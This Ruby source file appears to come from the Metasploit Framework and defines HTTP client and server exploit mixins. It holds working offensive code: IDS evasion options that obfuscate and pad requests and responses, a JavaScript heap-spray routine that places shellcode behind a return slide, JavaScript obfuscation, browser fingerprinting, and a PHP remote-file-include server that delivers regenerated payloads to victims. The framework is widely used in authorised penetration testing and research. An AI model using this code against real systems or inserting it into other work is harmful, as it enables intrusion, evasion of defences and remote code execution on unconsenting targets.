require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' module Msf ### # # This module provides methods for acting as an HTTP client when # exploiting an HTTP server. # ### module Exploit::Remote::HttpClient # # Initializes an exploit module that exploits a vulnerability in an HTTP # server. # def initialize(info = {}) super register_options( [ Opt::RHOST, Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), Opt::Proxies ], self.class ) register_advanced_options( [ OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests']), OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]) ], self.class ) register_evasion_options( [ OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]), OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]), OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]), OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]), OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]), OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]), OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]), OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]), OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]), OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]), OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]), OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]), OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]), OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]), OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]) # # Remaining evasions to implement # # OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), # OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), ], self.class ) register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ]) register_autofilter_services(%W{ http https }) end # # Connects to an HTTP server. # def connect(opts={}) dossl = false if(opts.has_key?('SSL')) dossl = opts['SSL'] else dossl = ssl end nclient = Rex::Proto::Http::Client.new( rhost, rport.to_i, { 'Msf' => framework, 'MsfExploit' => self, }, dossl, ssl_version, proxies ) # Configure the HTTP client with the supplied parameter nclient.set_config( 'vhost' => self.vhost(), 'agent' => datastore['UserAgent'], 'basic_auth' => self.basic_auth, 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], 'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'], 'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'], 'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'], 'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'], 'method_random_valid' => datastore['HTTP::method_random_valid'], 'method_random_invalid' => datastore['HTTP::method_random_invalid'], 'method_random_case' => datastore['HTTP::method_random_case'], 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], 'pad_fake_headers' => datastore['HTTP::pad_fake_headers'], 'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'], 'pad_get_params' => datastore['HTTP::pad_get_params'], 'pad_get_params_count' => datastore['HTTP::pad_get_params_count'], 'pad_post_params' => datastore['HTTP::pad_post_params'], 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'] ) # If this connection is global, persist it # Required for findsock on these sockets if (opts['global']) if (self.client) disconnect end self.client = nclient end return nclient end # # Passes the client connection down to the handler to see if it's of any # use. # def handler(nsock = nil) # If no socket was provided, try the global one. if ((!nsock) and (self.client)) nsock = self.client.conn end # If the parent claims the socket associated with the HTTP client, then # we rip the socket out from under the HTTP client. if (((rv = super(nsock)) == Handler::Claimed) and (self.client) and (nsock == self.client.conn)) self.client.conn = nil end rv end # # Disconnects the HTTP client # def disconnect(nclient = self.client) if (nclient) nclient.close end if (nclient == self.client) self.client = nil end end # # Performs cleanup as necessary, disconnecting the HTTP client if it's # still established. # def cleanup super disconnect end # # Connects to the server, creates a request, sends the request, reads the response # def send_request_raw(opts={}, timeout = 20) begin c = connect(opts) r = c.request_raw(opts) resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) while(resp and resp.code == 100) resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout) end resp rescue ::Errno::EPIPE, ::Timeout::Error nil end end # # Connects to the server, creates a request, sends the request, reads the response # def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) r = c.request_cgi(opts) resp = c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) while(resp and resp.code == 100) resp = c.reread_response(resp, opts[:timeout] ? opts[:timeout] : timeout) end resp rescue ::Errno::EPIPE, ::Timeout::Error nil end end # # Combine the user/pass into an auth string for the HTTP Client # def basic_auth return if not datastore['BasicAuthUser'] datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') end ## # # Wrappers for getters # ## # # Returns the target host # def rhost datastore['RHOST'] end # # Returns the remote port # def rport datastore['RPORT'] end # # Returns the VHOST of the HTTP server. # def vhost datastore['VHOST'] || datastore['RHOST'] end # # Returns the boolean indicating SSL # def ssl ((datastore.default?('SSL') and rport.to_i == 443) or datastore['SSL']) end # # Returns the string indicating SSL version # def ssl_version datastore['SSLVersion'] end # # Returns the configured proxy list # def proxies datastore['Proxies'] end protected attr_accessor :client end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report def initialize(info = {}) super register_options( [ OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]), ], Exploit::Remote::HttpServer ) register_evasion_options( [ OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']), OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]), ], Exploit::Remote::HttpServer) @service_path = nil end # # By default, all HTTP servers are not subject to automatic exploitation # def autofilter false end # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been # set. # def use_zlib if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" end end # # This method gives a derived class the opportunity to ensure that all # dependencies are present before initializing the service. # # By default, all HTTP server mixins will try to use zlib. # def check_dependencies use_zlib end # # This mixin starts the HTTP server listener. This routine takes a few # different hash parameters: # # ServerHost => Override the server host to listen on (default to SRVHOST). # ServerPort => Override the server port to listen on (default to SRVPORT). # Uri => The URI to handle and the associated procedure to call. # def start_service(opts = {}) check_dependencies # Default the server host and port to what is required by the mixin. opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['SRVPORT'], }.update(opts) # Start the HTTP server service. self.service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self, } ) self.service.server_name = 'Apache' # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') print_status(" Local IP: http://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end add_resource(uopts) end # # Store the results of server-side User-Agent fingerprinting in the DB. # # Returns a Hash containing host and client information. # def report_user_agent(address, request) ua = request['User-Agent'].downcase # always check for IE last because everybody tries to # look like IE case (ua) when /version\/(\d+\.\d+\.\d+).*safari/ ua_name = HttpClients::SAFARI ua_ver = $1 when /firefox\/((:?[0-9]+\.)+[0-9]+)/ ua_name = HttpClients::FF ua_ver = $1 when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/ ua_name = HttpClients::IE ua_ver = $1 else ua_name = HttpClients::UNKNOWN end case (ua) when /(en-us|en-gb)/ os_lang = $1 end case (ua) when /windows/ os_name = OperatingSystems::WINDOWS arch = ARCH_X86 when /linux/ os_name = OperatingSystems::LINUX when /iphone/ os_name = OperatingSystems::MAC_OSX arch = 'armle' when /mac os x/ os_name = OperatingSystems::MAC_OSX else os_name = OperatingSystems::UNKNOWN end case (ua) when /windows 95/ os_flavor = '95' when /windows 98/ os_flavor = '98' when /windows nt 4/ os_flavor = 'NT' when /windows nt 5.0/ os_flavor = '2000' when /windows nt 5.1/ os_flavor = 'XP' when /windows nt 5.2/ os_flavor = '2003' when /windows nt 6.0/ os_flavor = 'Vista' when /windows nt 6.1/ os_flavor = '7' when /gentoo/ os_flavor = 'Gentoo' when /debian/ os_flavor = 'Debian' when /ubuntu/ os_flavor = 'Ubuntu' else os_flavor = '' end case (ua) when /ppc/ arch = ARCH_PPC when /x64|x86_64/ arch = ARCH_X86_64 when /i.86|wow64/ # WOW64 means "Windows on Windows64" and is present # in the useragent of 32-bit IE running on 64-bit # Windows arch = ARCH_X86 else arch = ARCH_X86 end host = { :address => address, :host => address, :os_name => os_name, :os_flavor => os_flavor, :arch => arch } host[:os_lang] = os_lang if os_lang report_host(host) client = { :host => address, :ua_string => request['User-Agent'], :ua_name => ua_name, :ua_ver => ua_ver } report_client(client) report_note( :host => address, :type => 'http_request', :data => "#{address}: #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}" ) return host.merge(client) end # # Adds a URI resource using the supplied hash parameters. # # Path => The path to associate the procedure with. # Proc => The procedure to call when the URI is requested. # LongCall => Indicates that the request is a long call. # def add_resource(opts) @service_path = opts['Path'] service.add_resource(opts['Path'], opts) end # # Returns the last-used resource path # def get_resource # We don't want modules modifying their service_path inadvertantly, so # give them a dup. Can be nil during module setup. @service_path ? @service_path.dup : nil end # # Removes a URI resource. # def remove_resource(name) service.remove_resource(name) end # # Closes a client connection. # def close_client(cli) service.close_client(cli) end # # Creates an HTTP response packet. # def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol) res = Rex::Proto::Http::Response.new(code, message, proto); res['Content-Type'] = 'text/html' res end # # Transmits a response to the supplied client, default content-type is text/html # # Payload evasions are implemented here! # def send_response(cli, body, headers = {}) response = create_response response['Content-Type'] = 'text/html' response.body = body if (datastore['HTTP::compression']) self.use_zlib # make sure... response.compress = datastore['HTTP::compression'] end if (datastore['HTTP::chunked'] == true) response.auto_cl = false response.transfer_chunked = true end if (datastore['HTTP::header_folding'] == true) response.headers.fold = 1 end if (datastore['HTTP::junk_headers'] == true) response.headers.junk_headers = 1 end headers.each_pair { |k,v| response[k] = v } cli.send_response(response) end # # Sends a 302 redirect to the client # def send_redirect(cli, location='/', body='') response = create_response(302, 'Moved') response['Content-Type'] = 'text/html' response['Location'] = location response.body = body cli.send_response(response) end # # Sends a 302 redirect relative to our base path # def send_local_redirect(cli, location) send_redirect(cli, get_resource + location) end # # Sends a 404 # def send_not_found(cli) resp_404 = create_response(404, 'Not Found') resp_404.body = %Q{ 404 Not Found

Not Found

The requested URL was not found on this server.


Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}
} cli.send_response(resp_404) end # # Returns the configured (or random, if not configured) URI path # def resource_uri path = datastore['URIPATH'] || random_uri path = '/' + path if path !~ /^\// return path end # # Generates a random URI for use with making finger printing more # challenging. # def random_uri "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end # # Re-generates the payload, substituting the current RHOST and RPORT with # the supplied client host and port. # def regenerate_payload(cli, arch = nil, platform = nil, target = nil) pcode = nil # If the payload fails to generate for some reason, send a 403. if ((pcode = super(cli, arch, platform, target)) == nil) print_error("Failed to generate payload, sending 403.") cli.send_response( create_response(403, 'Forbidden')) return nil end pcode end ## # # Override methods # ## # # Called when a request is made to a single URI registered during the # start_service. Subsequent registrations will not result in a call to # on_request_uri. # def on_request_uri(cli, request) end end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer protected def initialize(info = {}) super register_evasion_options( [ # utf-8, utf-7 and utf-7-all are currently not supported by # most browsers. as such, they are not added by default. The # mixin supports encoding using them, however they are not # listed in the Option. OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML) end # # Obfuscates symbols found within a javascript string. # # Returns an ObfuscateJS object # def obfuscate_js(javascript, opts) js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) js.obfuscate return js end # # Encrypts a given javascript string using the provided key. # # Returns a string containing the encrypted string and a loader # def encrypt_js(javascript, key) js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key) end # # Returns the heaplib javascript, including any custom javascript supplied # by the caller. # def heaplib(custom_js = '') Rex::Exploitation::HeapLib.new(custom_js).to_s end def js_base64 js = <<-ENDJS // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html // variable names changed to make obfuscation easier var Base64 = { // private property _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", // private method _utf8_encode : function ( input ){ input = input.replace(/\\r\\n/g,"\\n"); var utftext = ""; var input_idx; for (input_idx = 0; input_idx < input.length; input_idx++) { var chr = input.charCodeAt(input_idx); if (chr < 128) { utftext += String.fromCharCode(chr); } else if((chr > 127) && (chr < 2048)) { utftext += String.fromCharCode((chr >> 6) | 192); utftext += String.fromCharCode((chr & 63) | 128); } else { utftext += String.fromCharCode((chr >> 12) | 224); utftext += String.fromCharCode(((chr >> 6) & 63) | 128); utftext += String.fromCharCode((chr & 63) | 128); } } return utftext; }, // public method for encoding encode : function( input ) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var input_idx = 0; input = Base64._utf8_encode(input); while (input_idx < input.length) { chr1 = input.charCodeAt( input_idx++ ); chr2 = input.charCodeAt( input_idx++ ); chr3 = input.charCodeAt( input_idx++ ); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); } return output; }, // public method for decoding decode : function (input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, ""); while (i < input.length) { enc1 = this._keyStr.indexOf(input.charAt(i++)); enc2 = this._keyStr.indexOf(input.charAt(i++)); enc3 = this._keyStr.indexOf(input.charAt(i++)); enc4 = this._keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = Base64._utf8_decode(output); return output; }, _utf8_decode : function (utftext) { var string = ""; var input_idx = 0; var chr1 = 0; var chr2 = 0; var chr3 = 0; while ( input_idx < utftext.length ) { chr1 = utftext.charCodeAt(input_idx); if (chr1 < 128) { string += String.fromCharCode(chr1); input_idx++; } else if((chr1 > 191) && (chr1 < 224)) { chr2 = utftext.charCodeAt(input_idx+1); string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); input_idx += 2; } else { chr2 = utftext.charCodeAt(input_idx+1); chr3 = utftext.charCodeAt(input_idx+2); string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); input_idx += 3; } } return string; } }; ENDJS opts = { 'Symbols' => { 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 }, 'Methods' => %w{ _utf8_encode _utf8_decode encode decode } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) return js end def js_heap_spray js = %Q|var memory = new Array(); function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) { var index; var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; } while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; } var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo); while (retSlide.length < heapBlockSize) { retSlide += retSlide; } retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; } } | opts = { 'Symbols' => { 'Variables' => %w{ shellcode retSlide payLoadSize memory index heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize heapBlockCnt }, 'Methods' => %w{ sprayHeap } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) return js end def js_os_detect return ::Rex::Exploitation::JavascriptOSDetect.new end # Transmits a html response to the supplied client # # HTML evasions are implemented here. def send_response_html(cli, body, headers = {}) if datastore['HTML::base64'] != 'none' case datastore['HTML::base64'] when 'plain' body = Rex::Text.encode_base64(body) when 'single_pad' body = Rex::Text.encode_base64(' ' + body) when 'double_pad' body = Rex::Text.encode_base64(' ' + body) when 'random_space_injection' body = Rex::Text.encode_base64(body) new = '' while (body.size > 0) new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") end body = new end body = 'Could not render object' end if datastore['HTML::javascript::escape'] > 0 datastore['HTML::javascript::escape'].times { body = '' } end if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else # special cases case datastore['HTML::unicode'] when 'utf-16be-marker' headers['Content-Type'] = 'text/html' body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be') when 'utf-7-all' headers['Content-Type'] = 'text/html; charset: utf-7' body = Rex::Text.to_unicode(body, 'utf-7', 'all') when 'none' # do nothing else raise RuntimeError, 'Invalid unicode. how did you get here?' end end send_response(cli, body, headers) end end ### # # This module provides methods for exploiting PHP scripts by acting as an HTTP # server hosting the payload for Remote File Include vulnerabilities. # ### module Exploit::Remote::HttpServer::PHPInclude include Msf::Exploit::Remote::HttpServer def initialize(info = {}) # Override TCPServer's stance of passive super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) register_evasion_options( [ OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), ], Exploit::Remote::HttpServer::PHPInclude ) end # # Override exploit() to handle service start/stop # def exploit start_service print_status("PHP include server started."); php_exploit select(nil, nil, nil, 5) stop_service end # # Transmits a PHP payload to the web application # def send_php_payload(cli, body, headers = {}) case datastore['PHP::Encode'] when 'base64' body = "" when 'none' body = "" end send_response(cli, body, headers) end # # Handle an incoming PHP code request # def on_request_uri(cli, request, headers={}) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Send it to the application send_php_payload(cli, p.encoded, headers) end # # Return the PHP include URL (pre-encoded) # def php_include_url(sock=nil) addr = datastore['SRVHOST'] if (addr == "0.0.0.0") addr = Rex::Socket.source_address( sock ? sock.peerhost : '1.2.3.4') end "http://#{addr}:#{datastore['SRVPORT']}#{get_resource()}?" end end end